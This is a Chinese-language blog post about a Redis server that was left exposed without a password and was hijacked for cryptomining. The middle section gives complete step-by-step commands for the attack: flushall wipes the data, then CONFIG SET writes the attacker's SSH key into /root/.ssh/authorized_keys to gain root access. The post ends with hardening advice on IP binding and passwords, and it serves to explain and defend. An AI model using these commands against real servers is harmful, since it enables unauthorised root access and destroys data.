为什么不安全。
之前为了使用redis,没有去管那些细节问题,就直接在阿里云的centos上直接编译安装了一个redis,没有做任何配置的修改,就改了一下可以后台启动和远程连接。就这样直接赤裸裸的暴露在公网下。所以带来的问题是,某天发现centos cpu占用一直99%,杀掉后又快速启动起来,被挖矿了。百度一番,是redis带来的问题。总结分析了一下。
大概原理分析:
1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。
2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。
3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。
攻击实战
被攻击者机器:默认配置安装redis,可以远程无密码访问。
在攻击者机器上:
1.在本机生成公钥,把公钥保存到文件中
cd /root
ssh-key-gen -t rsa
cat /root/.ssh/id_rsa.pub > aaa.pub
cat aaa.pub
2.登录到redis,fluahall掉所有数据。
./redis-cli -h xxx.xxx.xxx.xxx
ping
flushall
3.将键aaa的值设置为公钥的值
cat /root/aaa.pub | ./redis-cli -h xxx.xx.xx.xxx -p 6379 -x set aaa
4.继续修改redis的配置,登录到redis
config set dir /root/.ssh
config set dbfilename authorized_keys
save
5.此时,攻击者就可以远程登录到被攻击者的机器上了。为所欲为。
原理就是利用redis的rdb持久化机制的漏洞,把ssh公钥设置到redis,然后利用持久化,动态修改redis的持久化文件的目录和名字,篡改了ssh的秘钥。然后就可以远程登录。
安全防护配置
解决办法一:采用绑定ip的方式来控制访问。
具体做法是,修改掉redis.conf的#bind 127.0.0.1,修改为允许访问的ip
解决办法二:采用密码的方式。
具体做法是,修改redis.conf下的requirepass yourpassword,设置登录密码。
在登录的时候使用密码登录,auth yourpassword。
此外,正在运行的redis也可以设置密码
config set requirepass yourPassword
,redis的密码可设置的复杂一些,不用担心忘记,都明文的写在配置文件里的。